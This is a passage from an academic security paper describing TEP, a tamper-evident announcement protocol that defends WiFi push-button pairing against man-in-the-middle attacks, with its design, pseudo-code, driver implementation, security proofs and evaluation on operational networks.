party, and can use it for pairing. Otherwise, PBC reports

a session overlap error (e.g., because multiple enrollees

or registrars were pairing at the same time, or because an

adversary interfered), and asks the user to retry.

The rest of this section describes our protocol in more

detail, starting with the TEA mechanism, using terminol-

ogy defined in Table 1.

5.1 Tamper-Evident Announcement (TEA)

The goal of TEA is to guarantee that if an attacker tampers

with the payload of a TEA message, or tries to mask the

fact that a message was transmitted at all, a TEA receiver

within communication range will detect such tampering.

In other words, TEA receivers will always detect when a

TEA message was, or may have been, transmitted.

To provide this guarantee, TEA messages have a spe-

cialized structure, as shown in Figure 1. First, there is a

synchronization packet, which protects the TEA’s trans-

mission from being masked, by unambiguously indicating

to a TEA receiver that a TEA message follows. The syn-

chronization packet contains random data, to ensure that

an adversary cannot cancel out its energy.1

Second, the TEA message contains the announcement

payload. The payload is always of fixed length, to ensure

that an adversary cannot truncate or extend the payload in

flight, but otherwise has no restrictions on its content or

encoding. In our pairing protocol, the payload of a TEA

message contains the sender’s Diffie-Hellman public key,

along with other registration information.

Third, the TEA message contains ON-OFF slots, which

guarantee that any tampering with a TEA payload is de-

tectable. Similar to the synchronization packet, the con-

tent of the ON slots is randomized. The first two slots, as

shown in Fig. 3, encode the direction flag, which defines

whether this TEA message was sent by an enrollee (called

a TEA request, flag value “10”) or by a registrar (called a

TEA reply, flag value “01”). The remaining slots contain

a cryptographic hash of the payload. While it is possible

to also encode the payload using slots, it would be ineffi-

cient for long payloads, and unnecessary, since protecting

a cryptographic hash suffices. To detect tampering, TEA

encodes all slots in a way that guarantees that exactly half

of the slots are silent, as we describe in §5.1.2.

1In practice, it is very hard to cancel a signal in flight but in theory

an attacker that knows the transmitted signal and the channels to the

receiver can construct a signal that cancels out the original signal at the

receiver. Making the data random eliminates this option.

Direction Hash of
the message

128 bits2 bit

Figure 3: Data encoded in the ON-OFF slots. The first two bits

specify the direction of the message, and the rest of the bits contain

a cryptographic hash of the payload.

5.1.1 Detecting tampering

To determine if an adversary may have tampered with a

TEA message, a TEA receiver performs several checks.

First, the receiver continuously monitors the medium for

possible synchronization packets. If it detects any burst

of energy at least as long as the synchronization packet,

it interprets it as the start of a TEA announcement. The

receiver conservatively assumes that any such period of

energy is a TEA message, and signals a missed message

if it is unable to decode and verify the subsequent payload.

To minimize false positives, we choose a synchronization

packet that is longer than any regular contiguous WiFi

transmission. An adversary cannot cancel out a legitimate

synchronization packet because the adversary cannot elim-

inate the power on the channel. In fact, since the payload

of the synchronization packet is random, the adversary

cannot cancel the power from the packet even if he knows

the exact channel between Alice and Bob, and is fully

synchronized with the transmitter. Thus, an adversary

cannot tamper with the presence of a TEA message by

masking it out.

Second, once a TEA receiver detects the start of a TEA

announcement, it attempts to decode the payload packet

and the hash bits in the ON-OFF slots. If the receiver can-

not decode the payload (i.e., the packet checksum fails),

it indicates tampering. If the payload is decoded, the re-

ceiver verifies that the hash bits match the hash of the

payload– i.e., it verifies that hashing the payload produces

the same bits in the ON-OFF slots and that the number of

ON slots is equal to that of OFF slots. If the receiver can-

not verify the hash bits, it conservatively assumes that an

adversary is tampering with the transmission. Once tam-

pering is detected, the receiver signals a session overlap

error (as in PBC), requiring the user to retry later.

5.1.2 Balancing the ON-OFF Slots

An adversary can transform an OFF slot to an ON slot

(by transmitting in it) but cannot transform an ON slot to

an OFF slot. Hence, to ensure that the adversary cannot

tamper with even a single OFF slot without being detected,

we make the number of the OFF slots in a TEA message

equal to that of the ON slots, i.e., we balance the slots. The

number of slots is fixed by the TEP protocol, thus avoiding

truncation or extension attacks. Since the direction flag is

already encoded in two balanced bits, we now focus on

balancing the rest of the slots.

5



240 20th USENIX Security Symposium USENIX Association

Our balancing algorithm takes the hash bits of the TEA

payload and produces a balanced bit sequence to be sent

in the ON-OFF slots. One inefficient but simple trans-

formation is to use Manchester encoding of the hash bits

to produce a balanced output bit sequence with twice as

many output bits. TEA, however, introduces an efficient

encoding that takes an even number, N, of input bits and

produces M = N + 2⌈logN⌉ output bits which have an

equal number of zeros and ones. The details of our effi-

cient encoding algorithm are presented in Appendix A.

5.1.3 Interoperating with 802.11

To interoperate with other 802.11 devices that may not be

TEA-aware, the ON-OFF slots are preceded by a CTS-

to-SELF packet, which reserves the medium for the TEA

message. This serves two purposes. First, since the sender

does not transmit during the OFF slots, another 802.11

node could sense the wireless medium to be idle for more

than a DIFS period, and start transmitting its own packet

during that OFF slot. The 802.11 standard requires 802.11

nodes that hear a CTS-to-SELF on the channel to abstain

from transmitting for the period mentioned in that packet,

which will ensure that no legitimate transmission overlaps

with the slots. Second, in case of a TEA message from an

enrollee to a potential registrar, the CTS-to-SELF packet

reserves the medium so that the registrar can immediately

reply with its own TEA message. This prevents legiti-

mates nodes from hogging the medium and delaying the

registrar’s response. However, reserving the channel for

the entire length of a TEA message is inefficient, if no

registrar is present. To avoid under-utilization of the wire-

less medium, the enrollee’s CTS-to-SELF only reserves

the channel for a DIFS period past its slot transmissions.

If a PBC-activated registrar is present, it must start trans-

mitting its response message within the DIFS period. On

the other hand, if there is no registrar, other legitimate

devices will resume transmissions promptly.

To maximize the probability that all devices can decode

the CTS-to-SELF, it is transmitted at the most robust bit

rate of 1 Mbps. Current 802.11 implementations obey a

CTS-to-SELF that reserves the channel up to 32 ms. Our

TEA message requires 144 slots,2 and the slot duration is

40 µs (§6). This translates to about 5.8 ms, which is less

than the 32 ms allowed by the CTS-to-SELF.

Finally, as shown in Figure 1, there is a gap between

the synchronization and payload packets. If this gap is

large, other 802.11 nodes would sense an idle wireless

medium, and start transmitting, thus appearing to tamper

with the TEA. To avoid this, we exploit the fact that

2Two of the slots are for the direction bit, and the remaining 142

are for the bit-balanced hash bits. More specifically, the bit balancing

algorithm, in §5.1.2, takes N input bits and outputs N + 2⌈logN⌉ bits.

Since the hash is a 128 bit function, the bit balancing algorithm produces

142 bit balanced hash bits.

802.11 nodes are only allowed to transmit if they find

the medium continuously idle for a DIFS. Thus, a TEA

sender sends the payload packet immediately after the

synchronization packet with a gap of a Short Interframe

Space (SIFS), which is much less than DIFS.

5.1.4 API Summary

The interface provided by TEA is as follows. For the

sender side, there is a single blocking function,

• void TEA SEND (bool dir, str msg, time t),

which sends an announcement containing payload msg.

The dir flag specifies the direction of the message, that

is, whether it is a request message (from the enrollee)

or a reply message (from the registrar). Time t specifies

the deadline by which the message must start transmis-

sion. The TEA sender tries to respect carrier-sense in

the medium access control (MAC) protocol, and waits

until the medium is idle before transmitting its message.

However, if the message cannot be transmitted by time t

(e.g., because an adversary is hogging the medium), the

sender overrides the MAC’s carrier-sense, and transmits

the announcement anyway, so that recipients will detect

tampering. Note that the CTS-to-SELF requires honest

nodes to release the medium for the registrar to transmit

its own TEA reply.

For the receiver side, TEA provides two functions,

• handle TEA RECV START (bool dir), and

• msg list TEA RECV GET (handle h).

The first function, TEA RECV START, starts listening

on the wireless medium for TEA messages that are ei-

ther requests (from an enrollee) or replies (from a reg-

istrar), based on the dir flag. The second function,

TEA RECV GET, is used to retrieve the set of messages

accumulated by the receiver since TEA RECV START or

TEA RECV GET was last invoked. If TEA RECV GET

could not decode a possible TEA message (or verify that it

was not tampered with), it returns a special value RETRY,

which causes the caller (i.e., TEP) to re-run its proto-

col. As an optimization, if all of the TEA messages that

TEA RECV GET was unable to decode were overlapping

with the receiver’s own transmissions (i.e., a concurrent

TEA SEND), TEA RECV GET returns a special value

OVERLAP instead of RETRY. We describe in §6.4 how

a node detects TEA messages that overlap with its own

transmissions, and in Appendix B how we use the overlap

information to optimize wireless medium utilization.

5.2 Securing PBC using TEA

Using the TEA mechanism, we will now describe how

TEP—a modified version of the PBC protocol—avoids

man-in-the-middle attacks.
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Once the button is pressed on the enrollee, the enrollee

repeatedly scans the 802.11 channels in a round robin

manner, as in the current PBC protocol. On each channel,

the enrollee transmits a TEA request, i.e., a TEA message

with the direction flag set to “10”. The TEA request con-

tains the enrollee’s public key (and any PBC information

included in an enrollee’s probe). If an adversary continu-

ously occupies the medium for tx tmo (e.g., 1 second), the

enrollee overrides carrier-sense and transmits its message

anyway. The enrollee then waits for a TEA response from

a registrar, which is required to immediately respond. The

enrollee records the responses, if any, and after a speci-

fied period on each channel it moves to the next 802.11

channel and repeats the process. The enrollee continues

to cycle through all 802.11 channels for PBC’s walk time

period. The enrollee’s logic corresponds to the following

pseudo-code to build up r, the set of registrar responses:

r ← ∅

for 120 sec+#channels× (tx tmo+2× tea duration)
do ⊲ walk time + max enrollee scan period

switch to next 802.11 channel

h ← TEA RECV START (reply)
TEA SEND (request, enroll info, now+ tx tmo)
SLEEP (tea duration)
r ← r ∪ TEA RECV GET (h)

end for

A registrar follows a similar protocol. Once the PBC

button is pressed, the registrar starts listening for possible

TEA requests on its 802.11 channel. Every time a TEA

message is received, the registrar records the message

payload, and immediately sends its own TEA message in

response, containing the registrar’s public key. It is safe

to reply immediately because the sender’s TEA message

ended with a CTS-to-SELF, which reserved the medium

for the registrar’s reply. The registrar’s pseudo-code to

build up e, the set of enrollee messages, is as follows:

e ← ∅

h ← TEA RECV START (request)
for 120 sec+#channels× (tx tmo+2× tea duration)

do ⊲ walk time + max enrollee scan period

m ← TEA RECV GET (h)
if m �= ∅ then ⊲ enrollee, RETRY, or OVERLAP

e ← e ∪ m

TEA SEND (reply, registrar info, now)
⊲ send reply immediately

end if

end for

After the PBC’s walk time expires, both the enrollee

and the registrar check the list of received messages. Suc-

cessful pairing requires that both the enrollee and the

registrar receive exactly one unique public key via TEA

messages, and that no messages were tampered with (i.e.,

TEA RECV GET never returned RETRY or OVERLAP). If

exactly one public key was received, it must have been the

public key of the other party, and TEP can safely proceed

with pairing. If more than one public key was received,

or RETRY or OVERLAP was returned, then a session over-

lap error is raised, indicating that more than one pair of

devices may be attempting to pair, or that an adversary is

mounting an attack. In this situation, the user must retry

pairing.

5.2.1 Reducing Medium Occupancy

The protocol described above is correct and secure (as

we will prove in §7.1). However, it can be inefficient if

somehow multiple registrars transmit overlapping replies

at almost the same time. Each of them will then assume

it may have missed a request from some enrollee (since it

sensed a concurrent TEA message), and each will re-send

its reply. This cycle may continue for the walk time of 120

seconds, unnecessarily occupying the wireless medium.

In Appendix B, we describe an optimization that avoids

this situation and we prove that the optimized protocol

maintains the same security guarantees.

5.3 Example scenarios

Figure 4 shows how TEP works in five potential scenar-

ios. In scenario (a), there is no attacker. In this case,

the enrollee sends a request to which the registrar replies

immediately. The two devices can thus proceed to com-

plete pairing after 120 seconds. In scenario (b), the en-

rollee transmits its request, but the attacker immediately

jams it so that the registrar can not decode the enrollee’s

request. However, the registrar detects a long burst of

energy, which the registrar interprets as a TEA announce-

ment, causing it to reply to the enrollee.

In scenario (c), the enrollee sends the request; the at-

tacker then captures the medium at the same time as the

registrar, and transmits a reply, at a high power, imperson-

ating the registrar. Because of capture effect, the enrollee

decodes the message payload from the attacker. But since

the registrar and the attacker transmit the hash function

of different messages in the ON-OFF slots, the enrollee

notes that the slots do not have equal number of zeros and

ones and hence detects tampering with the announcement.

In scenario (d), the adversary sends a request message

in an attempt to gain access to the registrar; as stipulated

by TEP, the registrar replies to this request. However,

since the registrar waits for 120 seconds before complet-

ing the pairing, it also hears the request from the enrollee.

Since the registrar receives requests from two devices, it

raises a session overlap error.

Finally, in scenario (e), the adversary sends a TEA re-

quest, receives the registrar’s reply, and then continuously

jams the enrollee using a directional antenna. By using

a directional antenna, the adversary ensures that the reg-

istrar does not detect the jamming signal and hence does

not interpret it as an invalid TEA. The enrollee carrier-

7
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Figure 4: Timelines of five example runs of the TEP protocol.

senses, detects that the medium is occupied, and does not

transmit until it times out after tx tmo seconds, at which

point it ignores carrier sense and transmits its TEA re-

quest. The registrar listens to this request message and

detects the presence of the enrollee. Since the registrar

receives requests from two devices, it raises a session

overlap error.

5.4 Making Pairing Faster

The extension of PBC to use TEA, described above, re-

quires the enrollee and registrar to wait for 120 seconds

before completing the association process. If the enrollee

does not wait for a full 120 seconds, and simply picks

the first responding registrar, it may pick an adversary’s

registrar—a legitimate registrar only replies when its PBC

button has been pushed, and the user might push the reg-

istrar’s PBC button slightly later than the enrollee’s. Be-

cause the enrollee does not know if the user has already

pushed the registrar’s button, it has to wait for 120 sec-

onds to be sure that the user has pushed the button. In this

section, we describe how one can eliminate this delay.

First, if the user always pushes the enrollee’s button

before the registrar’s button, then the registrar does not

need to wait for 120 seconds; the registrar needs to wait

for just the time it takes an enrollee to cycle through all

of 802.11’s channels (which is less than 12s). Second, we

can also eliminate the enrollee’s wait time. Specifically,

if the user explicitly tells the enrollee that the registrar’s

button was pushed, the enrollee can complete the associa-

tion process after one cycle through the 802.11 channels,

eliminating the additional wait time.

For example, one approach would be to have the user

first press the button on the enrollee, then press the button

on the registrar, and then again push the button on the

enrollee. Note that, in this approach, the registrar does

not have to wait for 120 seconds: because the registrar’s

button is always pushed after the enrollee, the registrar

knows that the enrollee is active, and is guaranteed to see

the enrollee’s TEA message within the time required for

the enrollee to cycle through all 802.11 channels. (Of

course, if the 120 second period expires on the enrollee

without any additional button pushes, the enrollee can pro-

ceed to completion as before, with 2 total button pushes

from the user.)

6 TEA ON OFF-THE-SHELF HARDWARE

We implement TEA on Atheros AR5001X+ chipsets by

modifying the ath5k driver, and running TEA’s timing-

sensitive code in a kernel driver.

6.1 Scheduling Slot Transmission

To reduce the air time of a TEA, we must minimize the

size of a single slot packet in the ON-OFF slots. Since

the slot packet’s payload need not be decoded (just the

presence or absence of a slot packet conveys a 1 or 0 bit),

we transmit slot packets at the highest bitrate, 54 Mbps,

for a total of 40 µs.

In addition to reducing the size of a slot packet, TEA

must transmit slot packets at precise slot boundaries.

Queueing in the kernel and carrier-sense in the card make

precise transmission timing challenging. We avoid ker-

nel queueing by implementing TEA in a kernel driver

and using high-resolution timers. We avoid delays in the

wireless card itself through several changes to the card

firmware and driver, as follows. For the duration of the

slots, we disable binary exponential backoff (802.11 BEB)

8
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by setting CWMIN and CWMAX to 1. To prevent carrier-

sense backoff, we disable automatic noise calibration by

setting the noise floor register to “high”. We place slot

packets in the high-priority queue. Finally, we disable the

transmitter’s own beacons by disabling the beacon queue.

In aggregate, these changes allow us to make slot packets

as short as 40 µs and maintain accurate slot timing.

6.2 Energy Detection at the Receiver

A TEA receiver detects a synchronization packet and dis-

tinguishes ON from OFF slots by checking the energy

level on the medium. Hence, the receiver needs to dis-

tinguish the noise level, which is around -90dB, from an

actual transmission. To do this, we set the noise floor

to -90dB and deactivate auto-calibration while running

TEP.3

While an ideal receiver would detect energy at the finest

resolution (i.e., every signal sample), existing wireless

chipsets do not give access to these samples. Instead,

we exploit two registers provided by the ath5k firmware:

AR5K PROFCNT CYCLE and AR5K PROFCNT RXCLR.

The first register is incremented every clock cycle based

on the clock on the wireless hardware. The second register

on the other hand is increment only if the hardware finds

high energy during that clock cycle.

Using these registers, we define a sensing window (SW)

as the interval over which the receiver collects aggregate

information for whether the medium is occupied or silent,

as defined in Table 1. At the beginning of a SW, a TEA re-

ceiver resets both registers to 0, and reads them at the end

of the SW. The ratio of these two registers at the end of

the SW, AR5K PROFCNT RXCLR
AR5K PROFCNT CYCLE

, is defined as the fractional

occupancy. By putting a threshold on the fractional occu-

pancy, a TEA receiver can detect whether the medium is

occupied in a particular SW, and hence can detect energy

bursts and measure their durations in units of the sensing

window. Similar to the sender, a TEA receiver runs in the

kernel to precisely schedule sensing windows.

Our implementation dynamically adjusts the length of

the sensing window to minimize system overhead. The

TEA receiver uses a long sensing window of 2 ms, un-

til it detects a burst of energy longer than 17 ms. This

indicates a synchronization packet, at which point the

receiver switches to a 20 µs sensing window to accurately

measure energy during slots, providing on average two

sensing window measurements for every slot.

3 There is a tradeoff between the noise floor and the permissible

distance between the pairing devices. In particular, pairing devices

separated by large distances have a weak signal and hence, to ensure

detection, the noise floor should be set to a low value. On the other

hand, pairing devices that are closer have a stronger signal, and hence

the noise floor can be set to a higher value. We pick -90dB because it is

the default noise floor value in typical WiFi implementations. Manufac-

turers, however, can pick a higher default value, as long as the pairing

devices are placed closer to each other.

The receiver must be careful to ensure that a 20 µs sens-

ing window allows accurate detection of slot occupancy.

But, because the sender and receiver are not synchronized,

sensing windows may not be aligned with slots, and in

the worst case, will be off by half a sensing window, i.e.,

10 µs. However, having a sensing window that is half

the length of a slot ensures that at least one of every two

sensing windows is completely within a slot (i.e., does not

cross a slot boundary). Thus, to measure slot occupancy,

the receiver compares the variance of odd-numbered sens-

ing window measurements and even-numbered sensing

window measurements, and uses the one with the highest

variance. Because the slots are bit-balanced, the correct

sequence will have an equal number of ones and zeros,

having the higher variance.

This technique for measuring slot occupancy is secure

in the presence of an adversary. As we will prove in

Proposition 7.1, an adversary can introduce energy, but

cannot cancel energy in an occupied slot. Thus, the adver-

sary can only increase – but cannot reduce– the computed

occupancy ratios in either the odd or the even windows.

As a result, the adversary cannot create a different bit

sequence in either the odd or even windows which still

has an equal number of ones and zeros. Thus, sampling

at twice the slot rate maintains TEA’s security guarantees.

6.3 Sending A Synchronization Packet

To transmit a long synchronization packet, TEA trans-

mits the maximum-sized packet allowed by our hardware

(2400 bytes) at the lowest bit rate (1 Mbps), resulting in a

19 ms synchronization packet. While many receivers drop

such long packets (the maximum packet size permissible

by the higher layers is 1500 bytes), this does not affect a

TEA receiver, since it does not need to decode the packet;

it only needs to detect a long burst of energy.

6.4 Checking for TEA While Transmitting

While executing the TEP protocol (which lasts for 120

seconds), a node must detect TEA messages transmitted

by other nodes even if they overlap with its own trans-

missions. We distinguish two cases: First, when the node

transmits a standard 802.11 packet, it conservatively as-

sumes that the channel has been occupied by part of a

synchronization packet for the duration of its transmis-

sion. The node samples the medium before and after its

transmission, checking for continuous occupancy by a

synchronization packet. As our evaluation shows (§7.3),

the longest packets in operational WiFi networks are about

4 ms (a collision of two packets sent at the lowest 802.11g

rate of 6 Mb/s), making synchronization packet false pos-

itives unlikely even with the conservative assumption that

the entire 4 ms transmission overlapped with part of a

9
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synchronization packet (19 ms).4

Second, a node that is transmitting a TEA request must

not miss a concurrently transmitted TEA reply, and simi-

larly a node that is transmitting a reply must not miss a

concurrent request. To detect partially-overlapping TEA

messages, a node samples the medium before and after

every synchronization packet, and after the slots of every

TEA message, and if it detects energy, it assumes that it

may have missed an overlapping TEA message (and thus,

TEA RECV GET will return OVERLAP, unless it observes

other possibly-missed messages, in which case it will re-

turn RETRY.) Since the total length of the ON-OFF slots

is shorter than the length of the synchronization packet,

sampling the medium after the end of a synchronization

packet (i.e., before the start of the payload and slots) and

after the end of the slots suffices to detect an overlapping

synchronization packet. Finally, in the case when two

TEA messages are perfectly synchronized, the node uses

the direction bits to detect a collision. Since the direction

flag for a request is “10” and a reply “01”, the node checks

for this scenario by checking the energy level during the

OFF slot in the direction field in its own transmission. If

the OFF slot shows a high energy level, TEA RECV GET

will return OVERLAP (or RETRY, if there are other missed

messages).

7 EVALUATION

We evaluate TEP along three axes: security, accuracy, and

performance. Our findings are as follows:

• TEP is provably secure to MITM attacks.

• TEP can be accurately realized using existing OS and

802.11 hardware. Specifically, our prototype sender can

schedule ON-OFF slots at a resolution of 40µs, and

its 95th percentile scheduling error is as low as 1.65µs.

Our prototype receiver can sense the medium’s occu-

pancy over periods as small as 20µs and can distinguish

ON slots from OFF slots with a zero error rate.

• Results from two operational networks—our campus

network and SIGCOMM 2010—show that TEP never

confuses cross traffic for an attack. Further, even in

the presence of Bluetooth devices which do not obey

CTS-to-SELF and may transmit during TEP’s OFF

slots, TEP can perform key exchange in 1.4 attempts,

on average.

7.1 Evaluating TEP’s Security

We analyze TEP’s security using the threat model in §4.1.

To do so, we formally state our definitions, then prove

that a TEA is tamper resistant and that wireless pairing

using TEP is secure to MITM attacks.

4Note that even if some networks have normal packets that are much

larger than 4 ms, this may create false positives but does not affect the

security of the protocol.

Definition Tamper evident: A message is said to be tam-

per evident if an adversary can neither change the mes-

sage’s content without being detected nor hide the fact

that the message has been transmitted.

Before we proceed to prove that a TEA is tamper ev-

ident we first prove the following proposition about the

capability of an adversary.

Proposition 7.1 Let s(t) be the transmitted signal, and

h(t) be the channel impulse function. Assuming the trans-

mitted signal is unpredictable, and the receiver is within

radio range of the sender, an adversary cannot cancel the

signal energy at the receiver even if he knows the channel

function between the sender and receiver, h(t).

Proof The received signal is a convolution of the trans-

mitted signal and the channel impulse function, plus the

adversary’s signal a(t), plus white Gaussian noise n(t),
i.e., r(t) = h(t)∗s(t)+a(t)+n(t). To cancel the received

energy, the adversary needs to produce a signal a(t) so

that r(t) ≈ n(t), or equivalently, h(t)∗ s(t)+a(t) ≪ n(t).
Since the receiver is within radio range of the sender,

we know h(t)∗ s(t) ≫ n(t), and, since n(t) is physically

unpredictable, that a(t) ≈−h(t)∗ s(t). But an adversary

that can compute such an a(t) directly contradicts our as-

sumption that s(t) is unpredictable, and thus an adversary

cannot compute such an a(t). �

Since the synchronization packet and ON slots have

random contents, Prop. 7.1 implies that an adversary can-

not hide the channel energy during the transmission of the

synchronization packet or the ON slots from a receiver.

Based on this result we proceed to prove the following:

Proposition 7.2 Given the transmitter and receiver are

within range, and the receiver is sensing the medium, a

TEA, described in 5.1, is tamper evident.

Proof We prove Prop. 7.2 by contradiction. Assume that

one party, Alice, sends a TEA to a second party, Bob. Sup-

pose that Alice’s TEA to Bob fails to be tamper-evident.

This can happen because the adversary succeeds either in

hiding from Bob that Alice sent a TEA, or in changing

the TEA content without being detected by Bob. To hide

Alice’s TEA, the adversary must convince Bob that no

synchronization packet was transmitted. This requires

the adversary to cancel the energy of the synchronization

packet at Bob, which contradicts Prop. 7.1. Thus, the

adversary must have changed the announcement content.

Suppose the adversary changed the data encoded in the

slots. Prop. 7.1 says that the adversary cannot cancel the

energy in an ON slot, and hence cannot change an ON

slot to an OFF slot. Since the number of ON and OFF

slots is balanced, the adversary cannot change the slots

10
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without increasing the number of ON slots, and thus being

detected. Thus, the only alternative is that the adversary

must have changed the message packet. Since the ON-

OFF slots include a cryptographic hash of the message,

this means that the adversary constructed a different mes-

sage packet with the same hash as the original message

packet. This contradicts our assumption that the hash is

collision-resistant. Thus, the adversary cannot alter the

announcement content, and TEA is tamper-evident. �

Although Prop. 7.2 guarantees that a TEA message is

tamper-evident if the receiver is sensing the medium, the

receiver may be transmitting its own message at the same

time. We now prove that a TEA is tamper-evident even if

the receiver transmits its own messages.

Proposition 7.3 Given a receiver (Bob) that can send

its own messages, a TEA sent by a transmitter (Alice) in

range of the receiver is tamper-evident, if the receiver

follows the concurrent-transmission protocol of §6.4, and

the receiver and transmitter send TEA messages with

different directions (request or reply).

Proof If Bob detects the synchronization packet (SP)

of Alice’s TEA, the TEA is tamper-evident: either Bob

will refrain from sending during that TEA, in which case

Prop. 7.2 applies, or Bob will transmit concurrently, and

TEA RECV GET will return RETRY or OVERLAP .

If Bob fails to detect Alice’s SP, it must have hap-

pened while Bob was sending his own message (other-

wise, Prop. 7.2 applies). Since regular 802.11 packets

are shorter than a SP, and §6.4 conservatively assumes

the medium was occupied for the entire duration of the

transmitted packet, Bob could not have missed a SP while

sending a regular packet. Thus, the only remaining option

is that Alice’s SP overlapped with a TEA sent by Bob.

Consider four cases for when Alice’s SP was sent in re-

lation to the SP of Bob’s TEA. First, if Alice’s SP started

before Bob’s SP, Bob would detect energy before starting

to transmit his SP and return OVERLAP or RETRY (§6.4),

making the TEA tamper-evident. Second, if Alice’s SP

started exactly at the same time as Bob’s SP, Bob would

detect energy during the direction bits and return OVER-

LAP or RETRY (§6.4), making the TEA tamper-evident.

Third, if Alice’s SP started during Bob’s SP, Bob would

detect energy after his SP and return OVERLAP or RETRY

(§6.4), making the TEA tamper-evident. Fourth, if Al-

ice’s SP started after Bob’s SP ended, Bob would detect

energy from Alice’s SP after the end of his TEA slots

and return OVERLAP or RETRY (§6.4), making the TEA

tamper-evident. Thus, in all cases, the TEA is tamper-

evident. �

We now prove TEP is secure against a MITM attack.

Proposition 7.4 Suppose an enrollee and a registrar are

within range, both are following the TEP protocol as

described in §5.2 and the user does the stipulated actions

required by PBC. Under the threat model defined in §4.1,

an adversary cannot convince either the enrollee or the

registrar to accept any public key that is not the legitimate

public key of the other device.

Proof We prove Prop. 7.4 by contradiction, considering

first the registrar, and then the enrollee.

First, suppose an adversary convinces the registrar to

accept a public key other than that of the enrollee. By

§5.2, this means the registrar received exactly one public

key (and, thus, did not receive the enrollee’s key), and

TEA RECV GET never returned OVERLAP or RETRY. By

assumption, the enrollee and registrar entered PBC mode

within 120 seconds of each other, which means they were

concurrently running their respective pseudo-code for

at least #channels× (tx tmo+2× tea duration) seconds,

and therefore the enrollee must have transmitted at least

one TEA message on the registrar’s channel while the reg-

istrar was listening. Prop. 7.3 guarantees that the registrar

must have either received that one message, or detected

tampering (and returned OVERLAP or RETRY), which con-

tradicts our assumption that the registrar never received

the enrollee’s message and never returned OVERLAP or

RETRY. Thus, an adversary cannot convince the registrar

to accept a public key other than that of the enrollee.

Second, suppose an adversary convinces the enrollee to

accept a public key other than that of the registrar. By §5.2,

this means that the enrollee received exactly one public

key response to its requests (and, thus, did not receive

the registrar’s key), and TEA RECV GET never returned

OVERLAP or RETRY. As above, there must have been a

time when the registrar was listening, and the enrollee

transmitted its request message on the registrar’s channel.

Prop. 7.3 guarantees that the registrar must have either

received the enrollee’s message, or detected tampering

(and returned OVERLAP or RETRY). In both of those

cases, §5.2 requires the registrar to send a reply. Prop 7.3

similarly guarantees that the enrollee must have either

received the registrar’s reply, or detected tampering (and

returned OVERLAP or RETRY), which directly contradicts

our supposition. Thus, an adversary cannot convince the

enrollee to accept a public key other than the registrar’s,

and TEP is secure. �

7.2 Evaluating TEP’s Accuracy

We check whether TEP can be accurately realized us-

ing existing operating systems and off-the-shelf 802.11

hardware. Our experiments use our Ath5K prototype de-

scribed in §6 and run over our campus network. Figure 5

shows the locations of the TEP nodes, which span an area

11
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Figure 5: Locations of nodes (indicated by blue circles) in our ex-

perimental testbed, which operates as part of our campus network.

0 0.2 0.4 0.6 0.8 1 1.2 1.4 1.6 1.8
0

0.2

0.4

0.6

0.8

1

Scheduling Error (in microseconds)

C
D

F

Figure 6: CDF of TEP slot scheduling errors. The figure shows

that the maximum scheduling error is 1.8 µs which is significantly

lower than the slot duration of 40µs.

of 21,080 square feet (1,958 m2) with both line-of-sight

and non-line-of-sight links.

7.2.1 Transmitter

The performance of TEP hinges on the transmitter accu-

rately scheduling the transmission of the ON-OFF slots.

The difficulty in accurate scheduling arises from the fact

that we want to implement the protocol in software using

standard 802.11 chipsets. Hence, we are limited by the

operating system and the hardware interface. For exam-

ple, if the kernel or the hardware introduces extra delays

between the slot packets, it will alter the bit sequence con-

veyed to the receiver, and will cause failures. Given that

our slot is 40µs, we need an accuracy that is on the order

of few microseconds. Can we achieve such an accuracy

with existing kernels and chipsets?

Experiment. We focus on the most challenging ON-

OFF slot sequence from a scheduling perspective: al-

ternating zeros and ones which requires the maximum

scheduling precision. We set the slot time to 40µs, by

sending a packet at the highest bitrate of 54 Mbps. To

measure the produced slots accurately, we capture the

signal transmitted by our 802.11 sender using a USRP2

software radio board [9]. Our USRP2 board can mea-

sure signal samples at a resolution of 0.16 µs, allowing

us to accurately compute the duration of the produced

slots. We run the experiment 1000 times for each sender

in our testbed and measure the exact duration of every

slot. We then compute the scheduling error as the differ-

ence between the measured slot duration and the intended

40 µs.
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Figure 7: CDFs of the fractional occupancy during ON slots and

OFF slots. The figure shows that the two distributions have no

overlap and hence the receiver cannot confuse ON and OFF slots.

Results. Fig. 6 shows the CDF of slot scheduling errors.

The figure shows that the median scheduling error is less

than 0.4 µs and the maximum error is 1.8 µs. Thus,

despite operating in software and with existing chipsets,

a TEP sender can accurately schedule the ON-OFF slots

at microsecond granularity.

7.2.2 Receiver

TEP’s security depends on the receiver’s ability to distin-

guish ON slots from OFF slots. In this section, we check

that given that the receiver is within the sender’s radio

range (i.e., can sense the sender’s signal), it can clearly

distinguish ON slots from OFF slots.

Experiment. In each run, the sender sends a sequence

of alternating ON-OFF slots, using a slot duration of

40 µs. The receiver uses a sensing window of 20µs to

measure fractional occupancy. This means the receiver

has twice as many measurements of fractional occupancy

as there are slots. As explained in §6.2, the receiver keeps

either the odd or even measurements depending on which

sequence has higher variance. Hence, for each slot, the re-

ceiver has exactly one fractional occupancy measurement.

We then compare the measured fractional occupancy for

known ON slots vs. known OFF slots to determine if the

receiver can reliably distinguish between them based on

measured fractional occupancy. We randomly pick two

nodes in the testbed to be sender and receiver, and repeat

the experiment for various node pairs in the testbed.

Results. Fig. 7 plots the CDFs of fractional occupancy

for ON slots and OFF slots. The figure shows that the two

CDFs are completely separate; that is, there is no overlap

in the values of fractional occupancy that correspond to

OFF slots and those that correspond to ON slots. Hence,

by looking at the fractional occupancy the receiver can

perfectly distinguish the ON slots from OFF slots. This

result shows that a TEP receiver based on current OSes

and 802.11 hardware can accurately decode the ON-OFF

slots necessary for the TEP protocol.

7.3 Evaluating TEP’s Performance

We are interested in how TEP interacts with cross traffic

in an operational network. Cross traffic does not hamper

TEP’s security (the proofs in §7.1 apply in the presence

of cross traffic). However, cross traffic may cause false

12
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Figure 8: CDF of the duration of energy bursts in the SIG-

COMM 2010 network and our campus network. The figure shows

that energy bursts caused by normal traffic are much shorter than

a TEP synchronization packet (19 ms). Thus, it is unlikely that

TEP will confuse normal traffic as a synchronization packet.

positives, where a node incorrectly declares that a TEP

message has been tampered with by an adversary. Such

events can unnecessarily delay secure pairing.

We investigate TEP’s interaction with cross traffic using

results from two operational networks: the SIGCOMM

2010 network, which is a heavily congested network, and

our campus network, which is a moderately congested

network. As in §7.2, our experiments use our modified

Ath5k driver on AR5001X+ Atheros chipsets. In addition

to cross-traffic on the TEP channel, both networks carried

traffic on adjacent 802.11 channels.

7.3.1 Impact of Cross Traffic on a Sync Packet

